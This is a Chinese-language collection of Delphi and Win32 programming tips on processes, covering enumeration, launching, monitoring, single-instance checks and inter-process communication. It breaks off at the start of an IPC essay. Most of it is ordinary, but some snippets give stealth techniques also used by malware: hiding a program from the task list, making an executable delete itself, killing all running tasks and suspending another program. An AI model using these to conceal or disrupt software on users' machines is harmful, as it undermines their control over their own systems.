#include "psapi.hpp"

假使process id是 pid 的话：

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,FALSE,pid);
if( NULL != hProcess )
{
HMODULE hMod;
DWORD cbNeeded;
if( EnumProcessModules(
hProcess, &hMod, sizeof( hMod ), &cbNeeded ) )
{
char buf[MAX_PATH+1]="";
if(GetModuleBaseName( hProcess, hMod,buf,sizeof
buf)>0)
//
//
buf放的就是名字
//
}
CloseHandle(hProcess);
}

--------------------------------------------------------------------------------
找出所有进程的 process id:

下面的程序也是可以在 nt 上运行：

下面的程序也是需要 psapi.dll

#include "psapi.hpp"

DWORD pid[1000];
DWORD ret_id=0;
if(!EnumProcesses(pid,sizeof
pid,&ret_id))
//返回0，就是失败了

成功的话返回 非 0 值

ret_id是返回的字节数，注意不是id的个数，
比如返回 1 个id，实际上ret_id等于4，（表示4个字节）
ret_id/4 才是 返回 的id 的个数

返回的id放在 数组 pid
大小要大于 id 可能的最大数才找的全，上面的例子是可以找1000个，足够了，
如果嫌大，200个就可以了


如何发现程序不响应了

function isHung(theWindow: HWnd; timeOut: Longint): Boolean;

var
dwResult: DWord;
begin
Result := SendMessageTimeout(theWindow,
WM_NULL,
0,
0,
SMTO_ABORTIFHUNG Or SMTO_BLOCK,
timeOut,
dwResult) <> 0;

end;


关闭外部已开启的应用程序

下面给出一段在 Delphi 中关闭“计算器”程序为例：
...
var
HWndCalculator : HWnd;
begin
// find the exist calculator window
HWndCalculator := Winprocs.FindWindow(nil, '计算器');

// close the exist Calculator }
if HWndCalculator <> 0 then
SendMessage(HWndCalculator, WM_CLOSE, 0, 0);
end;


怎样调用外部EXE文件?

 begin
WinExec(......);
.

end.


调用外部程序并知道它的运行状态

Function {TCustomExecExtApp.}Execute(ComLine : String):boolean;
var
FAppHandle : THandle;
lpAppName : pchar;
lpTitle : Pchar;
StartInfo : TStartupInfo;
FProcessInfo : TProcessInformation;
begin
if (Length(ComLine)+2)>255 then
begin
SetError(-1,'Command Line Too Long!');
Result := false;
exit;
end;

GetMem(lpAppName,MaxPath);
GetMem(lpTitle,MaxPath);

  StrPCopy(lpAppName,ComLine);
StrPCopy(lpTitle,ComLine);
//init StartInformation
StartInfo.cb:=sizeof(TStartupInfo);
StartInfo.lpReserved := NIL;
StartInfo.lpDesktop:=NIL;
StartInfo.lpTitle := lpTitle;
StartInfo.dwFillAttribute :=
0;
StartInfo.cbReserved2
:=0;
StartInfo.lpReserved2 := NIL;
//这个参数控制Create Window形态
//STARTF_USESHOWWINDOW
指定这个标志位，指示用ShowWindow的参数建立窗口
StartInfo.dwFlags := STARTF_USESHOWWINDOW;
StartInfo.wShowWindow := FWinStyle;

  //CreateProcess 在Windows.pas中的一个原形
//function
CreateProcessA(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
//lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
//bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment:
Pointer;
//lpCurrentDirectory: PAnsiChar; const lpStartupInfo:
TStartupInfo;
//var lpProcessInformation: TProcessInformation):
BOOL; stdcall;

//Clear ProcessInfo Structure
FProcessInfo.hProcess := 0;
FProcessInfo.hThread := 0;
FProcessInfo.dwProcessId := 0;
FProcessInfo.dwThreadId := 0;

//Create process
if CreateProcess(NIL,
lpAppName,
nil,
nil,
False,
0,
nil,
nil,
StartInfo,
FProcessInfo) then
begin //Command Executed
//为进程建立可查询的属性。
FAppHandle := OpenProcess(PROCESS_QUERY_INFORMATION,False,FProcessInfo.dwProcessId);
//建立可查询的属性后可用于GetExitCodeProcess,在Delphi中查询外部程序是
//否还在运行,这个函数在W95,W98,NT40下均可用.
//注意:FAppHandle要改成Form的变量,以便其它函数可以使用.
// GetExitCodeProcess(FAppHandle,FAppState);
// if FAppState<>STILL_ACTIVE then
// 外部程序已结束
// else
// 外部程序还在运行
end
else //false Create Process;
begin
SetError(-2,'Can not create process!');
Result := false;
end;

FreeMem(lpAppName);
FreeMem(lpTitle);
end;


防止程序运行多个例程?

var
hMutex : Thandle;
WaitResult : word;
BroadcastList : DWORD;
begin
MessageID := RegisterWindowMessage('Check For Choice Previous Inst');
// register a message to use later on
hMutex := createMutex(nil,false,pchar('App_Choice')); // grab a mutex
handle
WaitResult := WaitForSingleObject(hMutex,10); // wait to see
if we can have exclusive use of the mutex
if ( waitResult = WAIT_TIMEOUT ) then // if we can't then broadcast
the message to make the owner of the mutex respond

{ request that the running application takes focus }
begin
BroadcastList := BSM_APPLICATIONS;
BroadcastSystemMessage(
BSF_POSTMESSAGE,@BroadcastList,MessageID,0,0); //32 bit - broadcast the
message to all apps - only a prev inst will hear it.
end
else
begin
{ do the normal stuff}
Application.Title := 'Choice Organics Purchase & Sales System';
Application.CreateForm(TMainForm, MainForm);
Application.Run;
ReleaseMutex(hMutex); // release the mutex as a politeness

end;
CloseHandle(hMutex); // close the mutex handle
end.

This goes in the MainForm

procedure Tmainform.OnAppMessage(var Msg : TMsg ; Var Handled : Boolean);
begin
{ If it's the special message then focus on this window}
if Msg.Message = MessageID then // if we get the broadcast message from an
another instance of this app that is trying to start up
begin
show;
WindowState := wsMaximized;
BringToFront;
SetFocus;
Handled := true;

end;
end;

//And this goes in the TMainForm.FormCreate ;-

Application.OnMessage:= OnAppMessage;


关闭模态窗口当失去焦点时

procedure TForm1Create(Sender:TObject);
begin
application.Ondeactivate:=AppDeactivate;
end;

procedure TForm1.AppDeactivate(Sender: TObject);
var
hw: HWnd;
CurTask: THandle;
WndStyle:Longint;
begin
CurTask:=GetWindowTask(handle);
hw:=GetWindow(GetDesktopWindow, GW_CHILD);
while GetWindowTask(hw)<>CurTask do
hw:=GetWindow(hw, GW_HWNDNEXT);
while (hw<>handle) and (GetWindowTask(hw)=CurTask) do
begin
PostMessage(hw, WM_Close, 0, 0);
hw:=GetWindow(hw, GW_HWNDNEXT);
end;
end;


使其他应用程序暂停运行

 1.必须用CreateProcess()创建进程
2.该进程只有一个线程(不是多线程程序).
3.CreateProcesd()返回的结果中,有一个线程句柄.这个句柄是那个进程
的主线程.记住这个句柄(设为ThreadHandle).
4.SuspendThread(ThreadHandle).
//////////////////////////////////////////////////////////////
1、用Findwindow得到窗口Handle
2、根据窗口Handle用GetWindowThreadProcessID得到进程hprocess和创建此窗口线程的ThreadID
3、用SuspendThread(ThreadID)，将此线程挂起。
这样此程序就被中断了，这里只对单线程的程序。
如果是多线程，还要在将他所有的线程挂起。


把程序从任务列表中隐藏

 用RegisterServiceProcess()来达到您的要求.
const
RSP_SIMPLE_SERVICE = $00000001;
RSP_UNREGISTER_SERVICE = $00000000;
// Parameter dwProcessId can be 0, same effect as GetCurrentProcessId
// Return Values: True(1) means success
function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;
// Place in "implementation" session
function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';
// Example:
// RegisterServiceProcess(0, RSP_SIMPLE_SERVICE);
// RegisterServiceProcess(0, RSP_UNREGISTER_SERVICE);


编程中确定系统运行模式

     系统运行模式就是指：WINDOWS是运行在哪种模式中,在WINDOWS3.X 中有正常模式,386增强模式;而现在的WINDOWS95/98有安全模式,运行在网络中的安全模式,正常模式等。如何才能区分系统是运行在上述的哪一种方式之下呢?在此，笔者就用DELPHI编程为您演示。
    说明:笔者调用API函数中的GETSYSTEMMETRICS函数来完成下面的程序，其API函数在WINDOWS.PAS中有声明代码。
    首先,新建一个工程,在FORM1上放上一个LABEL1和BUTTON1,其属性都不变,字体可设置大一些,然后输入以下代码:
    unit GETMODE;
    interface
    usesWindows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls;
    type TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private{ Private declarations }
    public { Public declarations }
    end;
    var Form1: TForm1;
    implementation {＄R ＊.DFM}
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    FORM1.CAPTION:=′确定WINDOWS运行模式的演示程序′;
    BUTTON1.CAPTION:=′获取系统运行模式′;
    end;
    procedure TForm1.Button1Click(Sender: TObject);
    VAR
    RET:LONGINT; ／／声明变量
    begin
    RET:=GETSYSTEMMETRICS(SM_CLEANBOOT); ／／调用API函数
    CASE RET OF ／／CASE API函数的返回值
    1:LABEL1.CAPTION:=′您的系统正运行在安全模式下′;
    2:LABEL1.CAPTION:=′您的系统正运行在带有网络环境的安全模式下′;
    ELSE LABEL1.CAPTION:=′您的系统正运行在正常模式下′;
    END;
    end;
    end.


如何执行外部程序[并一直等到它结束]

var
sCommandLine: string;
bCreateProcess:
boolean;
lpStartupInfo: TStartupInfo;
lpProcessInformation:
TProcessInformation;
begin
sCommandLine := 'ARJ.EXE /?';
bCreateProcess := CreateProcessA(nil, PChar(sCommandLine),
nil, nil, True, NORMAL_PRIORITY_CLASS, nil, nil,
lpStartupInfo, lpProcessInformation);
if bCreateProcess
then
WaitForSingleObject(lpProcessInformation.hProcess,
INFINITE);
end;
//////////////////////////////////////////////
var
pWindowsList: pointer;
hActiveWindow: HWnd;
hExeHandle: THandle;
begin
pWindowsList :=
DisableTaskWindows(0);
hActiveWindow :=
GetActiveWindow;
try
hExeHandle := WinExec('arj.exe
/?',SW_SHOWNORMAL);
while
GetModuleUsage(hExeHandle) <> 0 do
Application.ProcessMessages;
finally
EnableTaskWindows(pWindowsList);
SetActiveWindow(hActiveWindow);
end;
end;
/////////////////////////////////////////////////////////////////////
{the
first example, based on WaitForSingleObject}
function
WinExecAndWait32_v1(FileName: string; Visibility: integer):
Cardinal;
{integer}
var
zAppName: array[0..512] of char;
zCurDir: array[0..255] of char;
WorkDir: string;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
begin
StrPCopy(zAppName, FileName);
GetDir(0,
WorkDir);
StrPCopy(zCurDir, WorkDir);
FillChar(StartupInfo, Sizeof(StartupInfo), #0);
StartupInfo.cb :=
Sizeof(StartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := Visibility;
if not
CreateProcess(nil,
zAppName,
{ pointer to command line string }
nil,
{ pointer to process security attributes }
nil,
{ pointer to thread security attributes }
true,
{ handle inheritance flag }
CREATE_NEW_CONSOLE
or   { creation flags }
NORMAL_PRIORITY_CLASS,
nil,
{ pointer to new environment block }
nil,
{ pointer to current directory name, PChar}
StartupInfo,            {
pointer to STARTUPINFO }
ProcessInfo)            {
pointer to PROCESS_INF }
then Result := INFINITE {-1}
else
begin
WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
GetExitCodeProcess(ProcessInfo.hProcess, Result);
CloseHandle(ProcessInfo.hProcess);  { to prevent memory leaks }
CloseHandle(ProcessInfo.hThread);
end;
end;

{the second example, based on
PeekMessage(msg,,,,PM_REMOVE)->DispatchMessage(msg)}
function
WinExecAndWait32_v2(FileName: string; Visibility: integer):
Cardinal;
{integer}
var
zAppName: array[0..512] of char;
zCurDir: array[0..255] of char;
WorkDir: string;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
Msg: TagMsg;
ExitCode: cardinal;
begin
StrPCopy(zAppName, FileName);
GetDir(0, WorkDir);
StrPCopy(zCurDir, WorkDir);
FillChar(StartupInfo,
Sizeof(StartupInfo), #0);
StartupInfo.cb := Sizeof(StartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW; //
STARTF_FORCEONFEEDBACK;
StartupInfo.wShowWindow := Visibility;
if CreateProcess(nil,      { and once more:
}
zAppName,
{ pointer to command line string }
nil,
{ pointer to process security attributes }
nil,
{ pointer to thread security attributes }
false,
{ handle inheritance flag }
NORMAL_PRIORITY_CLASS,   { creation flags }
nil,
{ pointer to the new environment block }
nil,
{ current directory name }
StartupInfo,
{ pointer to STARTUPINFO }
ProcessInfo)
then        { pointer to PROCESS_INF }
begin
repeat
while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
begin
if (Msg.message = WM_QUIT) then
Result := Msg.wParam;
TranslateMessage(msg);
Dispatchmessage(msg);
Sleep(100);
{your choice}
end;
GetExitCodeProcess(ProcessInfo.hProcess,
ExitCode);
until (ExitCode <> STILL_ACTIVE);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
Result := 0;
end
else begin
Result :=
GetLastError;
end;
end;


列出系统进程

(注意uses TLHelp32）
然后
var lppe: TProcessEntry32;
found : boolean;
Hand : THandle;
begin
Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found := Process32First(Hand,lppe);
while found do
begin
ListBox.Items.Add(StrPas(lppe.szExeFile));//列出所有进程。
found := Process32Next(Hand,lppe);
end;
end;

/////////////////////////////////////////////////////
uses ... TLHelp32, ...

type
TForm1 = class(TForm)
...
end;

var
Form1: TForm1;
l : Tlist; ////返回的东东在"L"这个TList中。

type
TProcessInfo = Record
ExeFile : String;
ProcessID :
DWORD;
end;
pProcessInfo = ^TProcessInfo;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var p : pProcessInfo;
i :
integer;
ContinueLoop:BOOL;
var
FSnapshotHandle:THandle;
FProcessEntry32:TProcessEntry32;
begin
l
:=
TList.Create;
l.Clear;
FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
ContinueLoop:=Process32First(FSnapshotHandle,FProcessEntry32);
while
integer(ContinueLoop)<>0 do
begin
New(p);
p.ExeFile :=
FProcessEntry32.szExeFile;
p.ProcessID :=
FProcessEntry32.th32ProcessID;
l.Add(p);
ContinueLoop:=Process32Next(FSnapshotHandle,FProcessEntry32);
end;
end;

procedure TForm1.FormDestroy(Sender: TObject);
var p : pProcessInfo;
i : integer;
begin
With l do
for i := Count - 1 DownTo 0 do
begin p := items[i]; Dispose(p); Delete(i); end;
end;

...
end.
///////////////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
{Places the
modulenames of the running/minimized tasks into a listbox
}
var
pTask :
pTaskEntry;   {requires Uses
ToolHelp}
Task  :
bool;
Pstr  : array [0..79] of
Char;
Str   :
string[80];
byt_j : byte;
begin
ListBox1.Clear;
GetMem(pTask, SizeOf(TTaskEntry));       {Reserve
memory for TaskEntry}
pTask^.dwSize:=SizeOf(TTaskEntry);

byt_j:=0;
{Set up a counter for number of tasks}
Task:=TaskFirst(pTask);
{Find first task}
While task
do
begin
inc(byt_j);
{count number of different tasks}
Str:=StrPas(pTask^.szModule);      {Convert PStr into
Pascal string}
Listbox1.Items.Add(str);
{Store Pascal string into listbox}
task:=taskNext(pTask);
{Check for next possible task}
end;
Label1.Caption:=IntToStr(byt_j)+ ' tasks
found';         {Show counter}
end;


关闭系统所有程序

procedure TForm1.ButtonKillAllClick(Sender: TObject);
var
pTask : PTaskEntry;
Task : Bool;
ThisTask: THANDLE;
begin
GetMem (pTask, SizeOf (TTaskEntry));
pTask^.dwSize := SizeOf (TTaskEntry);

Task := TaskFirst (pTask);
while Task do
begin
if pTask^.hInst = hInstance then
ThisTask := pTask^.hTask
else
TerminateApp (pTask^.hTask, NO_UAE_BOX);
Task := TaskNext (pTask);
end;
TerminateApp (ThisTask, NO_UAE_BOX);

end;


异常死亡进程的自动复活

一、问题的产生
我们或多或少都有这样的经历，在Windows上运行的应用程序常常会异常终止，需要通过手工重新将其启动起来。若计算机无人看守，异常终止的进程不能实时启动，则可能给生产造成损失。
本人在开发GPS全球卫星定位系统控制中心程序时，就遇到过控制中心程序异常终止死亡的情况，由此，找出了一个自动复活死亡进程的方法，供参考。
二、相关知识
通常，把一个应用程序的一次运行实例叫做一个进程，在一个进程内又可包含多条可并发执行的路径，每条执行路径叫做一个线程，一个进程至少包含一个主线程。主线程负责执行运行的启动代码。另外，一个进程可以创建若干子进程。当进程被创建时，系统自动产生主线程，主线程然后可创建更多的线程。
我们可以编写一个程序，让其创建、启动子进程，并监视进程的运行情况，在其出现异常终止时，立即重新创建并启动子进程即可。
三、相关函数
1、创建一个子进程函数：
BOOL CreateProcess(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
参数说明：
lpApplicationName：新进程将要使用的可执行文件的名字，必须包含扩展名。
LpCommandLine：新进程的命令行。若lpApplicationName为NULL，LpCommandLine 的第一个参数是新进程将要使用的可执行文件的名字，可以不包含扩展名，系统假定是exe文件。
LpProcessAttributes和lpThreadAttributes：分别是给进程对象和线程对象指定的安全属性。
BInheritHandles：指定该进程是否继承其父进程中的句柄。
dwCreationFlags：指定新进程产生方式的标志，可用逻辑操作符or相连接。
LpEnvironment：指向含有新进程将要使用的环境块字符串的一块内存,一般为NULL，使子进程继承父进程的一组环境块。
LpCurrentDirectory：设置子进程的当前驱动器和工作目录, 为NULL，子进程继承父进程的当前驱动器和工作目录。
LpStartupInfo：指向STARTUPINFO 的结构。一般让子进程使用缺省值。但要把该结构中的所有成员初始化为0,并设置cb为结构大小。
STARTUPINFO 结构如下：
typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO；
lpProcessInformation 参数指向LPPROCESS_INFORMATION结构，CreateProcess在返回之前，填入有关子进程的信息，父进程正是利用该信息监测子进程是否终止。该结构如下：
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION;
hProcess和hThread分别是子进程的句柄和子进程的主线程的句柄，dwProcessId和dwThreadId分别是子进程的标识号和子进程的主线程的标识号。
2、子进程终止检测函数
GetEXitCodeProcess(HANDLE hProcess, LPDWORD lpExitCode );
Hprocess：进程句柄，lpExitCode：进程终止时的退出码。
如果一个进程没有终止，lpExitCode 的返回值是STILL_ACTIVE,否则返回其他值。
四、方法的Delphi5语言实现
1、创建一个新的项目 Project1
选择File,New Application。在表单Form1上放一Memo组件，一个OK按钮组件，改变OK按钮组件的Cation属性为 CreateProcess。再放一个timer组件。设置timer组件的Interval值为1000,每秒检查一次进程是否终止。
2、在Unit1 Use节的Type后定义一个过程
procedure EstablishProcess;
在Unit1 Use节的Var后定义一个变量：
piProcInfoGPS:PROCESS_INFORMATION;
3、在Unit1 implementation节中编写EstablishProcess过程的实现代码如下：
procedure EstablishProcess;
Var
siStartupInfo:STARTUPINFO;
saProcess,saThread:SECURITY_ATTRIBUTES;
fSuccess:boolean;
begin
fSuccess:=false;
ZeroMemory(@siStartupInfo,sizeof(siStartupInfo));
siStartupInfo.cb:=sizeof(siStartupInfo);
saProcess.nLength:=sizeof(saProcess);
saProcess.lpSecurityDescriptor:=PChar(nil);
saProcess.bInheritHandle:=true;
saThread.nLength:=sizeof(saThread);
saThread.lpSecurityDescriptor:=PChar(nil);
saThread.bInheritHandle:=true;
fSuccess:=CreateProcess(PChar(nil),'c:\sr350\Sr350buff',@saProcess,@saThread,false,
CREATE_DEFAULT_ERROR_MODE,Pchar(nil),Pchar(nil),siStartupInfo,piProcInfoGPS);
if( not fSuccess)then
Form1.Memo1.Lines.Add('Create Process Sr350buff fail.')
else
Form1.Memo1.Lines.Add('Create Process Sr350buff success.')
end;
4、在CreateProcess按钮的OnClick事件中调用过程
EstablishProcess；
5、为Timer1的OnTimer事件编写代码：
Procedure TForm1.Timer1Timer(Sender: TObject);
Var
dwExitCode:DWORD;
fprocessExit:boolean;
Begin

dwExitCode:=0;
fprocessExit:=false;
fprocessExit:=GetExitCodeProcess(piProcInfoGPS.hProcess,dwExitCode);
if(fprocessExit and (dwExitCode<>STILL_ACTIVE))then
begin
Memo1.Lines.Add('SR350buff.exe进程终止');
CloseHandle(piProcInfoGPS.hThread);
CloseHandle(piProcInfoGPS.hProcess);
EstablishProcess;
end;
End;
6、程序中设可执行文件名为c:\sr350\sr350buff.exe，所以c:盘\sr350目录下需有sr350buff.exe文件。
7、编译联接，运行project1，单击CreateProcess可见c:\sr350\sr350buff.exe启动。关掉sr350buff.exe进程，可见sr350buff.exe自动再启动。


删除自己的进程

自己GetProcAddress。代码如下：

program Project1;

uses

Windows;

procedure DeleteSelf;

var

hModule: THandle;

buff: array[0..255] of Char;

hKernel32: THandle;

pExitProcess, pDeleteFileA, pUnmapViewOfFile: Pointer;

begin

hModule := GetModuleHandle(nil);

GetModuleFileName(hModule, buff, sizeof(buff));

CloseHandle(THandle(4));

hKernel32 := GetModuleHandle('KERNEL32');

pExitProcess := GetProcAddress(hKernel32, 'ExitProcess');

pDeleteFileA := GetProcAddress(hKernel32, 'DeleteFileA');

pUnmapViewOfFile := GetProcAddress(hKernel32, 'UnmapViewOfFile');

asm

LEA EAX, buff

PUSH 0

PUSH 0

PUSH EAX

PUSH pExitProcess

PUSH hModule

PUSH pDeleteFileA

PUSH pUnmapViewOfFile

RET

end;

end;

begin

DeleteSelf;

end.

现在有一点比较古怪，那就是必须把代码放在一个Procedure里，

直接放在begin ... end.中间是不行的。也许是全局变量不能使用

的缘故，但为什么不能使用，还是不是很清楚。

还有，不GetProcAddress，直接如下写：

PUSH OFFSET UnmapViewOfFile

trace的结果是执行进入了KERNEL32.UnmapViewOfFile的，只是在

函数内RET $4出就出错了，跳到了一个莫名其妙的地方。为什么会

这样？难道是Delphi的编译器的问题吗？

另外，Borland论坛上RE的代码不是上面的，不过效果跟我写的一样

。但是FreeLibrary(p)跟UnmapViewOfFile(hModule)效果一样吗？

代码如下：

program Project1;

uses

windows;

procedure DeleteSelf;

var

module : HMODULE;

buf : array [ 0 .. MAX_PATH - 1 ] of char;

p : ULONG;

hKrnl32 : HMODULE;

pExitProcess, pDeleteFile, pFreeLibrary : pointer;

begin

module := GetModuleHandle ( nil );

GetModuleFileName ( module, buf, sizeof ( buf ) );

CloseHandle ( THandle ( 4 ) );

p := ULONG ( module ) + 1;

//上面这一句什么意思？

hKrnl32 := GetModuleHandle ( 'kernel32' );

pExitProcess := GetProcAddress ( hKrnl32, 'ExitProcess' );

pDeleteFile := GetProcAddress ( hKrnl32, 'DeleteFileA' );

pFreeLibrary := GetProcAddress ( hKrnl32, 'FreeLibrary' );

asm

lea eax, buf

push 0

push 0

push eax

push pExitProcess

push p

push pDeleteFile

push pFreeLibrary

ret

end;

end;


实现程序间的数据传递

用Delphi实现程序间的数据传递

在实际应用中，我们经常需要多个程序相互配合来完成某些特定功能。例如两个应用程序间的同步、互斥；应用程序在起第二份实例时的参数自动传递…。要实现这些功能，就必须能实现程序间的数据传递。

有些特殊的高级技术可在不同的程序间传递数据，如剪贴板、动态数据交换以及OLE自动化，但有条件限制并且相对较复杂。这里，我介绍三种有效的底层技术，希望对编程爱好者有所帮助。

利用WM_COPYDATA消息

使用该消息涉及一个TcopyDataStruct结构类型的指针。该结构中有三个成员：

dwData 是一个32位的附加参数

cbData 表示要传递的数据区的大小

lpData 表示要传递的数据区的指针

下面举个例子。该例子由两个程序构成，分别为SendData和GetData。

SendData程序向GetData程序发送消息，并传递edit1中的字符串；GetData在收到消息后，把SendData发送的字符串接受下来，并显示在相应的edit1中。

SendData程序：
……

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

ds: TCopyDataStruct;

hd: THandle;

begin

ds.cbData := Length (Edit1.Text) + 1;

GetMem (ds.lpData, ds.cbData ); //为传递的数据区分配内存

StrCopy (ds.lpData, PChar (Edit1.Text));

Hd := FindWindow (nil, 'Form2'); // 获得接受窗口的句柄

if Hd <> 0 then

SendMessage (Hd, WM_COPYDATA, Handle,

Cardinal(@ds)) // 发送WM_COPYDATA消息

else

ShowMessage ('目标窗口没找到！');

FreeMem (ds.lpData); //释放资源

end;

GetData程序：

TForm2 = class(TForm)

Edit1: TEdit;

private

{ Private declarations }

public

procedure Mymessage(var t:TWmCopyData);message WM_COPYDATA;

{ Public declarations }

end;

var

Form2: TForm2;

implementation

procedure TForm2.Mymessage(var t:TWmCopyData);

begin

Edit1.text:=StrPas(t.CopyDataStruct^.lpData);//接受数据并显示。

end;

使用这种方法是WIN32应用程序进行交互的最简单的方法。

使用全局原子
Win32系统中，为了实现信息共享，系统维护了一张全局原子表。每个原子中存放了一些共享数据。关于对原子的操作，有一组专门的API函数：

GlobalAddAtom 在表中增加全局原子

GlobalDeleteAtom 在表中删除全局原子

GlobalFindAtom 在表中搜索全局原子

GlobalGetAtomName 从表中获取全局原子

笔者用这种方法实现了避免程序二次启动，但把第二次启动所带的参数传到第一个实例中以进行相应的处理的程序。基本处理如下：

在工程文件中：

program Pvdde;

uses

Forms,shellapi,Windows,dialogs,dde in 'dde.pas' {Form1};

{$R *.RES}

begin

if GlobalFindAtom(PChar('PDDE_IS_RUNNING')) = 0 then

//避免二次启动

begin

K:=GlobalAddAtom(PChar('PDDE_IS_RUNNING'));

Application.Initialize;

Application.CreateForm(TForm1, Form1);

Application.Run;

end

else

begin

//传递二次启动时的参数到第一个实例

H := FindWindow(PChar('TForm1'), PChar('资料保密 严禁外传'));

if ParamCount > 0 then

begin

L := GlobalAddAtom(PChar(ParamStr(1)));

if H<>0 then

SendMessage(H, WM_MYMESSAGE, 0, L);

{ 传递原子句柄 }

GlobalDeleteAtom(L); { 使用后释放 }

end;

Application.Terminate;

end;

end.

在相应的窗口单元dde.pas增加对自定义消息WM_MYMESSAGE的处理：

procedure TForm1.MyMessage(var T:TMessage);

{对 WM_MYMESSAGE消息进行处理 }

var

P:Array [0..255] of char;

begin

GlobalGetAtomName(T.LParam, P,255); { 接受数据到p数组中 }

。。。

end;

使用存储映象文件

这种方法相对较复杂一些。

当Win95与Winows Nt向内存中装载文件时，使用了特殊的全局内存区。在该区域内，应用程序的虚拟内存地址和文件中的相应位置一一对应。由于所有进程共享了一个用于存储映象文件的全局内存区域，因而当两个进程装载相同模块（应用程序或DLL文件）时，它们实际可以在内存中共享其执行代码。

笔者通过调用一个带有特殊参数的CreateFileMapping函数，来间接达到程序间共享内存的目的。下面简要解释一下该函数。

HANDLE CreateFileMapping(

HANDLE hFile, //文件句柄

LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性

DWORD flProtect, // 映象文件保护方式

DWORD dwMaximumSizeHigh, // 映象文件区域的底值

DWORD dwMaximumSizeLow, // 映象文件区域的顶值

LPCTSTR lpName // 映象文件的名字

);

如果hFile是0xFFFFFFFF，在调用程序中必须指定dwMaximumSizeHigh 和dwMaximumSizeLow参数的值以确定映象文件的大小。通过这样的参数指定，该函数就创建了一个由操作系统页文件支持的特殊逻辑映象文件，而不是由实际操作系统的文件支持的逻辑映象文件。这个逻辑映象文件可以通过复制、继承或者按名字来达到共享。至于其它参数的详细说明，请参看在线帮助。

在建立了映象文件之后，我们可以通过调用另外一个API函数MapViewOfFile来访问它的内存，该函数会返回一个指向共享内存块的特定指针。

LPVOID MapViewOfFile(

HANDLE hFileMappingObject, // 映象文件句柄

DWORD dwDesiredAccess, // 访问方式

DWORD dwFileOffsetHigh, // 映象文件区域的底值

DWORD dwFileOffsetLow, // 映象文件区域的顶值

DWORD dwNumberOfBytesToMap // 映射字节数

);

如果 dwNumberOfBytesToMap 是0，映射整个文件。

以下举例说明：

private

hMapFile: THandle;

MapFilePointer: Pointer;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

hMapFile := CreateFileMapping (

$FFFFFFFF, // 特殊内存映射句柄

nil, page_ReadWrite, 0,10000,

'DdhDemoMappedFile'); // 文件名

if hMapFile <> 0 then

MapFilePointer := MapViewOfFile (

hMapFile, // 上面映象文件的句柄

File_Map_All_Access,

0, 0, 0) // 访问整个映象文件

else

ShowMessage ('hMapFile = 0');

if MapFilePointer = nil then

ShowMessage ('MapFilePointer = nil');

end;

procedure TForm1.BtnWriteClick(Sender: TObject);

begin

StrCopy (PChar (MapFilePointer),

PChar (EditWrite.Text));//把内容写入共享内存

end;

procedure TForm1.BtnReadClick(Sender: TObject);

var

S: string;

begin

S := PChar (MapFilePointer);//从共享内存读出内容

EditRead.Text := S;

end;

用这种方法，不但可以在不同的程序之间共享数据，还可以在同一程序的不同实例间共享数据。为了及时通知其它进程共享数据的变化，可以自定义一条用户消息，通过发消息来实现，这里不再赘述。

利用以上三种方法均可以有效地实现数据传递、共享，所有的例子程序均在Delphi 3.0,4.0下调试通过。如需源码，写信至wj_email@yahoo.com索


进程通讯的观念与技术

为什麽需要 IPC?
为什麽需要 Inter-process Communication？

显而易见的，没有一个视窗应用程式可以包办全部的工作。为了避免资料重覆输入的时间浪费与人为错误，各应用程式间的资料会有互相交换的需求。首先的压力将来自於使用者，甚至於很可能是你自己。先不说别的，在写这篇文章时，我就曾剪贴原来以 Delphi 撰写的程式到文书编辑软体，同时，也利用抓图软体帮我拍下执行画面，最後，这些文章与范例程式得用压缩程式压起来，然後E-mail寄给杂志编辑。

使用 IPC 在某些情况下是不得不然的决定，有时候程式必须跨过机器边界让另一部机器内的程式明白该怎麽合作来共同完成工作，这同时也暗示我们可能面临不同的作业系统的问题。

